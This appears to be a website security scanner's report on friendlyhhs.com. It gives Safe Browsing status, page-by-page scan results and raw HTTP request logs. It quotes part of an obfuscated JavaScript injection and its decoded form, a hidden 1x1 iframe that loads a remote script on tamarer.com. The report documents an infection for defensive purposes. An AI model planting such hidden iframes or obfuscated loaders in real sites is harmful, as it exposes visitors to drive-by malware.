Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=friendlyhhs.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://friendlyhhs.com/ | 200 OK Content-Length: 60231 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=' ...[1219 bytes skipped]... Decoded script: document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe>') document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe>') <iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe> Antivirus reports:
| ||
http://friendlyhhs.com/index.htm | 200 OK Content-Length: 60231 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=' ...[1219 bytes skipped]... Decoded script: document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe>') document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe>') <iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe> Antivirus reports:
| ||
http://friendlyhhs.com/singleframe-about.htm | 404 Not Found Content-Length: 287 Content-Type: text/html | clean |
http://friendlyhhs.com/test404page.js | 404 Not Found Content-Length: 280 Content-Type: text/html | clean |
http://friendlyhhs.com/singleframe-serv.htm | 404 Not Found Content-Length: 286 Content-Type: text/html | clean |
http://friendlyhhs.com/singleframe-insurance.htm | 404 Not Found Content-Length: 291 Content-Type: text/html | clean |
http://friendlyhhs.com/singleframe-home.htm | 404 Not Found Content-Length: 286 Content-Type: text/html | clean |
http://friendlyhhs.com/singleframe-ntp.htm | 404 Not Found Content-Length: 285 Content-Type: text/html | clean |
http://friendlyhhs.com/singleframe-contact.htm | 404 Not Found Content-Length: 289 Content-Type: text/html | clean |
http://friendlyhhs.com/SingleFrame-contact.htm | 404 Not Found Content-Length: 289 Content-Type: text/html | clean |
http://friendlyhhs.com/SingleFrame-Insurance.htm | 200 OK Content-Length: 60951 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=' ...[1219 bytes skipped]... Decoded script: document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe>') document.write('<iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe>') <iframe scrolling="no" width="1" height="1" border="0" frameborder="0" src="http://tamarer.com/count20.php"></iframe> Antivirus reports:
|
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: friendlyhhs.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 12 Apr 2014 18:20:05 GMT
Accept-Ranges: bytes
ETag: "33e28ee-eb47-4d6d336a"
Server: Apache/1.3.42 (Unix) mod_auth_tkt/2.1.0 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8r
Content-Length: 60231
Content-Type: text/html
Last-Modified: Tue, 01 Mar 2011 17:56:58 GMT
...60231 bytes of data.
GET / HTTP/1.1
Host: friendlyhhs.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 12 Apr 2014 18:20:05 GMT
Accept-Ranges: bytes
ETag: "33e28ee-eb47-4d6d336a"
Server: Apache/1.3.42 (Unix) mod_auth_tkt/2.1.0 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8r
Content-Length: 60231
Content-Type: text/html
Last-Modified: Tue, 01 Mar 2011 17:56:58 GMT
...60231 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: friendlyhhs.com
Referer: http://www.google.com/search?q=friendlyhhs.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: friendlyhhs.com
Referer: http://www.google.com/search?q=friendlyhhs.com
Result:
The result is similar to the first query. There are no suspicious redirects found.